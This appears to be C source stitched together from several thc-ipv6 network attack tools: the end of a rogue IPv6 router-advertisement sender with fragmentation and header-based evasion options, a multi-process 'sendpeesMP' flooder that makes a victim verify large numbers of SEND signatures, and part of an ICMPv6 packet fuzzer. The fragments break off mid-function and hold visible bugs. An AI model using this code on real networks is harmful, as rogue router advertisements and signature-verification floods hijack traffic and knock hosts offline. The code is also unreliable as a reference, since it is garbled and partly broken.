case 'D':
if (dcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES);
exit(-1);
}
if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg);
exit(-1);
}
break;
case 'L':
searchlist = optarg;
break;
case 'E':
if (optarg == NULL) {
fprintf(stderr, "Error: no option type given for -E\n");
exit(-1);
}
for (j = 0; j < strlen(optarg); j++) {
switch (optarg[j]) { // fall through to be fail safe on accidental misuse
case '0': // fall through
case 'O':
do_overlap = 1;
break;
case 'o':
do_overlap = 2;
break;
case '1': // fall through
case 'l': // fall through
case 'L':
do_frag++;
break;
case 'h': // fall through
case 'H':
do_hop = 1;
break;
case 'd': // fall through
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]);
exit(-1);
}
if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) {
fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n");
exit(-1);
}
}
break;
case 'F':
ptr = strtok(optarg, ",");
while (ptr != NULL) {
if (strncasecmp(ptr, "man", 3) == 0)
flags = (flags | 128);
else if (strncasecmp(ptr, "oth", 3) == 0)
flags = (flags | 64);
else if (strncasecmp(ptr, "hom", 3) == 0)
flags = (flags | 32);
else if (strncasecmp(ptr, "prox", 4) == 0)
flags = (flags | 4);
else if (strncasecmp(ptr, "res", 3) == 0)
flags = (flags | 2);
else if (strncasecmp(ptr, "unk", 3) == 0)
flags = (flags | 1);
else {
fprintf(stderr, "Error: unknown flag: %s\n", ptr);
exit(-1);
}
ptr = strtok(NULL, ",");
}
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if ((argc - optind) != 1)
help(argv[0]);
if (do_hdr_size)
myoff = do_hdr_size;
interface = argv[optind];
if (mtu == 0)
mtu = thc_get_mtu(interface);
if (mac6 == NULL)
if ((mac6 = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (ip6 == NULL)
if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) {
fprintf(stderr, "Error: ipv6 is not enabled on interface %s\n", interface);
exit(-1);
}
// if (dns == NULL)
// dns = thc_resolve6("ff02::fb");
frint = interface;
frip6 = ip6;
frmac = mac6;
frbuf = buf;
frbuf2 = buf2;
frbuf2len = sizeof(buf2);
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if (llife > 0xffff)
llife = 0xffff;
llife = (llife | 0xff000000);
if (prio == 2)
llife = (llife | 0x00080000);
else if (prio == 0)
llife = (llife | 0x00180000);
else if (prio != 1)
llife = (llife | 0x00100000);
llife = (llife | (flags << 16));
buf[0] = reach / 16777216;
buf[1] = (reach % 16777216) / 65536;
buf[2] = (reach % 65536) / 256;
buf[3] = reach % 256;
buf[4] = trans / 16777216;
buf[5] = (trans % 16777216) / 65536;
buf[6] = (trans % 65536) / 256;
buf[7] = trans % 256;
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
i = 16;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, mac6, 6);
i += 6;
// option prefix, put all in
if (pcnt > 0)
for (j = 0; j < pcnt; j++) {
buf[i++] = 3;
buf[i++] = 4;
buf[i++] = pbuf[j][0]; // prefix length
buf[i++] = 128 + 64;
buf[i++] = plife / 16777216;
buf[i++] = (plife % 16777216) / 65536;
buf[i++] = (plife % 65536) / 256;
buf[i++] = plife % 256;
buf[i++] = (plife / 2) / 16777216;
buf[i++] = ((plife / 2) % 16777216) / 65536;
buf[i++] = ((plife / 2) % 65536) / 256;
buf[i++] = (plife / 2) % 256;
i += 4; // + 4 bytes reserved
memcpy(&buf[i], (char *) &pbuf[j][1], 16);
i += 16;
}
// route option, put all in
if (rcnt > 0)
for (j = 0; j < rcnt; j++) {
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = rbuf[j][0]; // prefix length
if (prio == 2)
buf[i++] = 0x08; // priority, highest of course
else if (prio == 1)
buf[i++] = 0x00;
else if (prio == 0)
buf[i++] = 0x18;
else
buf[i++] == 0x10;
buf[i++] = rlife / 16777216;
buf[i++] = (rlife % 16777216) / 65536;
buf[i++] = (rlife % 65536) / 256;
buf[i++] = rlife % 256;
memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16); // network
i += 16;
}
// dns option
if (dcnt > 0)
for (j = 0; j < dcnt; j++) {
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // reserved
buf[i++] = dlife / 16777216;
buf[i++] = (dlife % 16777216) / 65536;
buf[i++] = (dlife % 65536) / 256;
buf[i++] = dlife % 256;
memcpy(buf + i, dbuf[j], 16); // dns server
i += 16;
}
// dns searchlist option
if (searchlist != NULL) {
buf[i] = 31;
buf[i + 4] = dlife / 16777216;
buf[i + 5] = (dlife % 16777216) / 65536;
buf[i + 6] = (dlife % 65536) / 256;
buf[i + 7] = dlife % 256;
if (searchlist[strlen(searchlist) - 1] == '.')
searchlist[strlen(searchlist) - 1] = 0;
m = 0;
while ((ptr = strstr(searchlist, ".,")) != NULL) {
m = strlen(ptr);
for (l = 1; l < m; l++)
ptr[l - 1] = ptr[l];
ptr[m - 1] = 0;
}
l = 0;
m = 0;
j = strlen(searchlist);
do {
k = 0;
ptr = index(&searchlist[l], '.');
if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) {
k = 1;
ptr = index(&searchlist[l], ',');
}
if (ptr != NULL)
*ptr = 0;
n = strlen(&searchlist[l]);
buf[i + 8 + m] = n;
memcpy(&buf[i + 8 + m + 1], &searchlist[l], n);
if (ptr == NULL)
l = j;
else
l += 1 + n;
m += 1 + n;
if (k || ptr == NULL)
m++; // end of domain entry
} while (l < j && ptr != NULL);
if (m % 8 > 0)
m = ( (m / 8) + 1 ) * 8;
buf[i + 1] = m/8 + 1;
i += m + 8;
}
frbuflen = i;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
return -1;
}
if (do_frag) {
type = NXT_FRAG;
for (j = 0; i < do_frag; j++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0)
return -1;
if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
return -1;
frhdr = (thc_ipv6_hdr *) pkt;
//printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap);
// init pcap
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
printf("Starting to advertise router (Press Control-C to end) ...\n");
while (sent < to_send || to_send > 255) {
if (do_dst) {
thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232);
} else if (do_overlap) {
if (do_overlap == 1)
thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
else
thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
}
while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
sent++;
if (sent != to_send || to_send > 255)
sleep(interval);
}
return 0; // never reached
}
/* main function */
int main(int argc, char **argv) {
thc_cga_hdr *cga_opt; /* CGA header */
thc_key_t *key; /* public key */
unsigned char *pkt = NULL; /* generic packet space */
unsigned char *testdst6, *dst6, *cga, *cga6, *dev; /* IPv6 addrs */
/* various parts of packets, temporaries */
char advdummy[16], soldummy[24], prefix[8], *addr;
/* MAC addresses for testing, attacking */
// unsigned char dsthw[] = "\xff\xff\xff\xff\xff\xff";
// unsigned char tgthw[] = "\x00\x1a\xa0\x41\xf0\x2d"; /*real attack mac */
unsigned char *tgthw;
// unsigned char srchw[] = "\xdd\xde\xad\xbe\xef\xdd";
// unsigned char srchwreal[] = "\x00\x11\x11\x32\xb2\x84";
// unsigned char tag[] = "\xdd\xde\xad\xbe\xef\xdd\xdd\xde\xad\xbe\xef\xdd\xbe\xef\xaa\xaa";
int pkt_len = 0; /* packet length */
int flags = 0; /* ICMPv6 flags */
// thc_ipv6_rawmode(0); /* generate my own MAC addresses */
int debug = 0; /* debug switch */
FILE *fp; /* file pointer for reading from /dev/urandom */
unsigned char test[6]; /* randomized mac storage */
int result = 0, pid, status, rc, i; /* exit codes */
int count = 1000000000;
if (argc != 5) {
printf("original sendpees by willdamn <*****@*****.**>\n");
printf("modified sendpeesMP by Marcin Pohl <*****@*****.**>\nCode based on thc-ipv6\n\n");
printf("usage: %s <inferface> <key_length> <prefix> <victim>\n\n", argv[0]);
printf("Send SEND neighbor solicitation messages and make target to verify a lota CGA and RSA signatures\n");
printf("Example: %s eth0 2048 fe80:: fe80::1\n\n", argv[0]);
exit(1);
}
memset(&test, 0, 6); /* set 6 bytes to zero */
fp = fopen("/dev/urandom", "r"); /* set FP to /dev/urandom */
dev = argv[1]; /* read interface from commandline */
addr = thc_resolve6(argv[3]);
memcpy(prefix, addr, 8); /* first 8 bytes of sockaddr is prefix */
key = thc_generate_key(atoi(argv[2])); /* EXPENSIVE KEYGEN HERE! */
if (key == NULL) {
printf("Couldn't generate key!");
exit(1);
}
/*makes options and the address*/
cga_opt = thc_generate_cga(prefix, key, &cga);
/* cga = thc_resolve6("::"); */
if (cga_opt == NULL) {
printf("Error during CGA generation");
exit(1);
}
tgthw = thc_get_mac(dev, cga, dst6);
test[0] = 0; /* set MAC to intel */
test[1] = 170; /* set MAC to intel */
test[2] = 0; /* set MAC to intel */
/* ICMP6 TARGET, IPDST */
if (argv[4] == NULL)
dst6 = thc_resolve6("ff02::1");
else
dst6 = thc_resolve6(argv[4]);
/* set ICMP OPTION SLLA HERE */
memset(advdummy, 'D', sizeof(advdummy));
memset(soldummy, 'D', sizeof(soldummy));
/* set destination IP here */
memcpy(advdummy, dst6, 16); /*dstIP */
memcpy(soldummy, dst6, 16); /*dstIP */
/* fixed values for NS */
soldummy[16] = 1;
soldummy[17] = 1;
memcpy(&soldummy[18], test, 6); /* SLLA OPTION */
/* ND flags */
flags = ICMP6_NEIGHBORADV_OVERRIDE;
/* the forking starts here */
for (i = 0; i < THREAD_NUM; ++i) {
pid = fork();
if (pid == 0) {
printf("Creating thread %d\n", i);
/*randomize MAC here*/
result = fread((char *) &test[3], 1, 3, fp);
/* create IPv6 portion */
if ((pkt = thc_create_ipv6(dev, PREFER_LINK, &pkt_len, cga, dst6, 0, 0, 0, 0, 0)) == NULL) {
printf("Cannot create IPv6 header\n");
exit(1);
}
/* create ICMPv6 with SeND options */
if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0x0, flags, soldummy, 24, cga_opt, key, NULL, 0) < 0) {
printf("Cannot add SEND options\n");
exit(1);
}
free(cga_opt);
if (debug) {
printf("%02x:%02x:%02x:%02x:%02x:%02x\n", test[0], test[1], test[2], test[3], test[4], test[5]);
// printf("%02x:%02x:%02x:%02x:%02x:%02x\n", dsthw[0], dsthw[1], dsthw[2], dsthw[3], dsthw[4], dsthw[5]);
fflush(stdout);
}
/* attach the IPv6+ICMPv6+SeND to an Ethernet frame with random MAC */
if ((result = thc_generate_pkt(dev, test, tgthw, pkt, &pkt_len)) < 0) {
fprintf(stderr, "Couldn't generate ipv6 packet, error num %d !\n", result);
exit(1);
}
printf("Sending %d...", i);
fflush(stdout);
while (count) {
/* send many packets */
thc_send_pkt(dev, pkt, &pkt_len);
--count;
}
exit(1);
}
}
wait(&status);
}
int main(int argc, char *argv[]) {
unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL;
unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "icmp6 and dst ";
int rawmode = 0, test_start = 0, fragment = 0, alert = 0, sroute = 0;
int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0;
int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0;
int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1;
int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0;
char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL;
unsigned char buf[256], buf2[100], buf3[16];
unsigned short int *sip;
pcap_t *p;
thc_ipv6_hdr *hdr;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "123456789rxt:T:p:FSDHRIJan:")) >= 0) {
switch (i) {
case '1':
do_type = DO_PING;
break;
case '2':
do_type = DO_NEIGHSOL;
break;
case '3':
do_type = DO_NEIGHADV;
break;
case '4':
do_type = DO_RA;
break;
case '5':
do_type = DO_MLD_REP;
break;
case '6':
do_type = DO_MLD_DONE;
break;
case '7':
do_type = DO_MLD_QUERY;
wait = 0xff0000;
break;
case '8':
do_type = DO_MLD2_REPORT;
break;
case '9':
do_type = DO_MLD2_QUERY;
wait = 0xff0000;
break;
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
test_pos -= 14;
offset -= 14;
break;
case 't':
test_start = atoi(optarg);
break;
case 'T':
test_end = test_start = atoi(optarg);
break;
case 'p':
ping = atoi(optarg);
break;
case 'a':
do_alive = 0;
break;
case 'S':
sroute = 1;
break;
case 'n':
no_send = atoi(optarg);
break;
case 'F':
fragment = 1;
break;
case 'R':
alert = 1;
break;
case 'D':
destination = 1;
break;
case 'H':
hopbyhop = 1;
break;
case 'J':
jumbo = 1;
break;
case 'I':
header = 1;
break;
case 'x':
extend = 1;
break;
}
}
if (argc - optind < 2) {
fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n");
exit(-1);
}
interface = argv[optind];
if (rawmode == 0 && (srcmac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface);
exit(-1);
}
if (no_send < 1) {
fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n");
exit(-1);
}
if (do_type != DO_PING) {
mcast6 = thc_resolve6(argv[optind + 1]);
if (do_type == DO_NEIGHSOL) {
dst6 = thc_resolve6("ff02::0001:ff00:0000");
memcpy(dst6 + 13, mcast6 + 13, 3);
} else
dst6 = thc_resolve6("ff02::1");
} else {
dst6 = thc_resolve6(argv[optind + 1]);
}
if (argv[optind + 1] != NULL)
real_dst6 = thc_resolve6(argv[optind + 1]);
if (interface == NULL || argv[optind + 1] == NULL) {
printf("Error: interface and target-ipv6-address are mandatory command line options\n");
exit(-1);
}
if (ping < 1 || test_end < test_start) {
printf("dont f**k up the command line options!\n");
exit(-1);
}
if (argv[optind + 2] != NULL)
someaddr6 = thc_resolve6(argv[optind + 2]);
if (argc - optind > 3) {
printf("Error: too many command line options\n");
exit(-1);
}
if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) {
fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
exit(-1);
}
if (rawmode)
srcmac = mac;
if (do_type == DO_PING)
src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
else
src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK);
strcat(string, thc_ipv62notation(src6));
if (sroute) {
if (someaddr6 != NULL)
routers[0] = someaddr6;
else
routers[0] = dst6;
routers[1] = NULL;
}
setvbuf(stdout, NULL, _IONBF, 0);
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
dns = thc_resolve6("FF02::FB");
route6 = thc_resolve6("2a01::");
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
// ping before to check if it works
if (do_alive)
if (check_alive(p, interface, src6, real_dst6) == 0) {
fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]);
exit(-1);
}
// generate basic packet
strcpy(fuzzbuf, fuzztype_ether);
if ((pkt = thc_create_ipv6(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (header)
strcat(fuzzbuf, fuzztype_ip6);
else
strcat(fuzzbuf, fuzztype_ip6no);
if (alert || hopbyhop || jumbo) {
memset(buf2, 0, sizeof(buf2));
i = 0;
if (alert) {
buf2[i++] = 5;
buf2[i++] = 2;
i += 2;
strcat(fuzzbuf, ".F.F");
}
if (jumbo) {
buf2[i++] = 0xc2;
buf2[i++] = 4;
buf2[i++] = 'J'; // lookup code
buf2[i++] = 'J';
buf2[i++] = 'J';
buf2[i++] = 'J';
strcat(fuzzbuf, ".FBBBB");
}
if (hopbyhop) {
memset(buf3, 0, sizeof(buf3));
buf3[0] = 'X';
buf3[1] = '.';
for (j = 0; j < 10; j++) {
buf2[i++] = 1; // PadN, length
buf2[i++] = j;
if (j > 0) {
memset(buf2 + i, 0xaa, j);
buf3[2 + j] = '.';
i += j;
}
strcat(fuzzbuf, buf3); // always: X... for every new option
}
}
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0)
return -1;
i += 2;
if (i % 8 > 0)
i = ((i / 8) + 1) * 8;
offset += i;
}
if (sroute) {
if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0)
return -1;
else {
strcat(fuzzbuf, "FFFFBBBB................");
offset += 24;
}
}
if (fragment) {
frag_offset = offset;
if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0)
return -1;
else {
strcat(fuzzbuf, "FFWW..");
offset += 8;
}
}
if (destination) {
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
buf3[0] = 'X';
buf3[1] = '.';
i = 0;
for (j = 0; j < 10; j++) {
buf2[i++] = 1; // PadN, length
buf2[i++] = j;
if (j > 0) {
memset(buf2 + i, 0xaa, j);
buf3[2 + j] = '.';
i += j;
}
strcat(fuzzbuf, buf3); // always: X... for every new option
}
if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0)
return -1;
i += 2;
if (i % 8 > 0)
i = ((i / 8) + 1) * 8;
offset += i;
}
memset(buf, 0, sizeof(buf));
if (header)
strcat(fuzzbuf, fuzztype_icmp6);
else
strcat(fuzzbuf, fuzztype_icmp6no);
switch (do_type) {
case DO_PING:
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6ping);
break;
case DO_NEIGHSOL:
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
else
memcpy(buf, mcast6, 16);
buf[16] = 1;
buf[17] = 1;
memcpy(buf + 18, srcmac, 6);
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6ns);
break;
case DO_NEIGHADV:
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
else
memcpy(buf, src6, 16);
buf[16] = 2;
buf[17] = 1;
memcpy(buf + 18, srcmac, 6);
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6na);
break;
case DO_RA:
// buf[3] = 250; // 0-3: reachable timer
buf[6] = 4; // 4-7: retrans timer
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
// option prefix
buf[16] = 3;
buf[17] = 4;
buf[18] = size; // prefix length
buf[19] = 128 + 64;
memset(&buf[20], 17, 4);
memset(&buf[24], 4, 4);
if (someaddr6 != NULL)
memcpy(&buf[32], someaddr6, 16);
else
memcpy(&buf[32], route6, 16);
i = 48;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, srcmac, 6);
i += 6;
// default route routing option
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x00; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
i += 16; // 56-71 address, all zeros for default
// dns option
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // 74-75 reserved
memset(buf + i, 1, 4); // validity time
i += 4;
if (someaddr6 != NULL)
memcpy(buf + i, someaddr6, 16); // dns server
else
memcpy(buf + i, dns, 16); // dns server
i += 16;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6ra);
break;
case DO_MLD_QUERY:
case DO_MLD_DONE:
case DO_MLD_REP:
buf[0] = 0xff;
buf[1] = 0x02;
buf[15] = 0x05;
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6mld);
break;
case DO_MLD2_QUERY:
buf[0] = 0xff;
buf[1] = 0x02;
buf[15] = 0x05;
if (someaddr6 != NULL)
memcpy(buf, someaddr6, 16);
buf[16] = 7;
buf[17] = 120;
buf[19] = 3;
memcpy(buf + 20, dst6, 16);
memcpy(buf + 36, buf, 16);
if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6mld2que);
break;
case DO_MLD2_REPORT:
for (i = 0; i < 3; i++) {
buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4
buf[3 + 68 * i] = 3; //3 sources
buf[4 + 68 * i] = 0xff;
buf[5 + 68 * i] = 0x02;
buf[18 + 68 * i] = 0x82 + i % 256;
buf[19 + 68 * i] = 0xff;
memcpy(buf + 20 + 68 * i, src6, 16);
buf[36 + 68 * i] = 0xfe;
buf[37 + 68 * i] = 0x80;
buf[46 + 68 * i] = 0xf0;
if (someaddr6 != NULL)
memcpy(buf + 52 + 68 * i, someaddr6, 16);
}
if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0)
return -1;
strcat(fuzzbuf, fuzztype_icmp6mld2rep);
break;
default:
fprintf(stderr, "ERROR: Mode not implemented yet!\n");
exit(-1);
}
if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0)
return -1;
hdr = (thc_ipv6_hdr *) pkt;
if (jumbo) {
i = 0;
j = 1;
while (i < hdr->pkt_len + 4 && j) {
if (hdr->pkt[i] == 'J')
if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0)
j = 0;
i++;
}
if (j) {
fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n");
exit(-1);
} else
i--;
hdr->pkt[i] = 0;
hdr->pkt[i + 1] = 0;
hdr->pkt[i + 2] = hdr->pkt[4 + 14 - 14 * rawmode];
hdr->pkt[i + 3] = hdr->pkt[5 + 14 - 14 * rawmode];
hdr->pkt[4 + 14 - 14 * rawmode] = 0;
hdr->pkt[5 + 14 - 14 * rawmode] = 0;
}
if (extend)
for (i = 0; i < strlen(fuzzbuf); i++)
if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F')
fuzzbuf[i] = 'X';
// backup of generated packet
pkt_bak = malloc(hdr->pkt_len);
memcpy(pkt_bak, hdr->pkt, hdr->pkt_len);
printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end);
//printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf);
while (do_fuzz) {
if (test_cnt == 0)
while (fuzzbuf[test_ptr] == '.') {
test_ptr++;
test_pos++;
}
if (fuzzbuf[test_ptr] == 0)
do_fuzz = 0;
test_cnt++;
do_it = 1;
//printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end);
switch (fuzzbuf[test_ptr]) {
case 0:
break;
case 'X':
if (test_cnt <= COUNT_EXTEND) {
if (pkt_bak[test_pos] != extends[test_cnt - 1])
hdr->pkt[test_pos] = extends[test_cnt - 1];
else
do_it = 0;
} else {
test_cnt = 0;
test_ptr++;
test_pos++;
}
break;
case 'B':
if (test_cnt <= COUNT_BYTE) {
if (pkt_bak[test_pos] != bytes[test_cnt - 1])
hdr->pkt[test_pos] = bytes[test_cnt - 1];
else
do_it = 0;
} else {
i = 0;
while (i < COUNT_BYTE && do_it) {
if (bytes[i] == pkt_bak[test_pos])
do_it = 0;
i++;
}
if (do_it)
hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
}
if (test_cnt == COUNT_BYTE + COUNT_XOR) {
test_cnt = 0;
test_ptr++;
test_pos++;
}
break;
case 'F':
if (test_cnt <= COUNT_FLAG) {
if (pkt_bak[test_pos] != flags[test_cnt - 1])
hdr->pkt[test_pos] = flags[test_cnt - 1];
else
do_it = 0;
} else {
i = 0;
while (i < COUNT_FLAG && do_it) {
if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags
do_it = 0;
i++;
}
if (do_it)
hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
}
if (test_cnt == COUNT_FLAG + COUNT_XOR) {
test_cnt = 0;
test_ptr++;
test_pos++;
}
break;
case 'W':
sip = (unsigned short int *) &pkt_bak[test_pos];
if (test_cnt <= COUNT_WORD) {
if (*sip != words[test_cnt - 1])
memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1], 2);
else
do_it = 0;
} else {
i = 0;
while (i < COUNT_WORD && do_it) {
if (words[i] == *sip)
do_it = 0;
i++;
}
if (do_it) {
i = *sip ^ xors[test_cnt - COUNT_WORD - 1];
sip = (unsigned short int *) &hdr->pkt[test_pos];
*sip = i % 65536;
}
}
if (test_cnt == COUNT_WORD + COUNT_XOR) {
test_cnt = 0;
test_ptr++;
test_pos += 2;
}
break;
default:
fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr,
fuzzbuf);
exit(-1);
break;
}
if (do_it && do_fuzz) {
if (test_current >= test_start && test_current <= test_end && do_fuzz) {
// fill icmp id+seq and unique buffer with test case number
if (fragment)
memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current, 4);
switch (do_type) {
case DO_PING:
for (i = 0; i < 4 + 1; i++)
memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current, 4);
break;
case DO_NEIGHSOL:
case DO_NEIGHADV:
break; // do nothing for these
case DO_RA:
memcpy(hdr->pkt + offset + 0x62, (char *) &test_current, 4); // prefix update
memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update
if (rawmode == 0)
memcpy(hdr->pkt + 8, (char *) &test_current, 4); // srcmac update
memcpy(hdr->pkt + offset + 0x72, (char *) &test_current, 4); // srcmac update
memcpy(hdr->pkt + 0x10 + 14 - 14 * rawmode, (char *) &test_current, 4); // srcip update
memcpy(hdr->original_src, hdr->pkt + 8 + 14 - 14 * rawmode, 16); // srcip update for checksum
break;
case DO_MLD_QUERY:
case DO_MLD_DONE:
case DO_MLD_REP:
case DO_MLD2_QUERY:
memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current, 4);
break;
case DO_MLD2_REPORT: //??? XXX TODO CHECK
memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current, 4);
memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current, 4);
memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current, 4);
break;
default:
fprintf(stderr, "ERROR!!!\n");
exit(-1);
}
// regenerate checksum
if (do_type == do_type) { // maybe for later non-icmp stuff
hdr->pkt[offset + 56] = 0;
hdr->pkt[offset + 57] = 0;
i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54);
hdr->pkt[offset + 56] = i / 256;
hdr->pkt[offset + 57] = i % 256;
}
// send packet
for (k = 0; k < no_send; k++) {
if (thc_send_pkt(interface, pkt, &pkt_len) < 0)
return -1;
usleep(1);
}
printf(".");
usleep(250);
// if ping, check ping again
if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current)
if (check_alive(p, interface, src6, real_dst6) == 0) {
i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1;
